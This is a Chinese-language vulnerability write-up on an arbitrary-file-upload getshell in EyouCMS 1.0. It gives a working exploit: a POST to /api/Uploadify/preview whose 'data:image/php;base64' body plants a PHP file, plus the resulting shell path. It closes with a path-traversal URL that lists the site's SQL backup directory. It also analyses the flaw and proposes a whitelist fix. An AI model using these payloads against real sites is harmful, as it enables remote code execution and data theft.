某cms前台getshell分析
0x01 前言
官网:http://www.eyoucms.com/download/
Cms下载地址:http://www.eyoucms.com/eyoucms1.0.zip
一顿查看以后,发现了个很奇葩的任意上传接口,这个漏洞应该是补天那个老哥提交的漏洞了。查找到以后就分析一波了。
0x02 利用
老样子:先讲如何利用
url: test.eyoucms1.0.com/index.php/api/Uploadify/preview
构造: <?php phpinfo;
post: data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
Shell: http://test.eyoucms1.0.com/preview/ae85d74a721b0b8bd247bc31207a12e2.php
0x03 漏洞详解
漏洞文件: eyoucms1.0\application\api\controller\Uploadify.php
漏洞函数:preview()
这里我将每行有意义的代码都解释了一下帮助读者进行查看。
而我刚开始时也思考了一下,这会不会是作者故意搞的后门?
带着这个问题我去问了一下加的php群的一些程序员 他们很惊讶的 表示data:image/ 居然还可以不是图片?
好吧。到这里我就基本明白为什么这个漏洞会出现了,估计作者以为data:image/ 只能是图片。
0x04 漏洞修复建议
if (!in_array($type, array('jpg', 'png', 'jpeg', 'gif'), true)) {
exit;
}
感谢反馈,近期已经修复!我们已经联系补天大哥,对此给易优用户造成的困扰深感抱歉,还望大神们发现有漏洞之处,不介意的话私发我邮箱,我是易优官方的技术员,小弟感激不尽。
从该洞主手中捡到的eyoucms文件泄露,就在该处漏洞代码上面,直接给个payload,有兴趣的可以去看下:
http://xx.xx/index.php/api/uploadify/filelist.html?path=../../data/sqldata&type=1
tql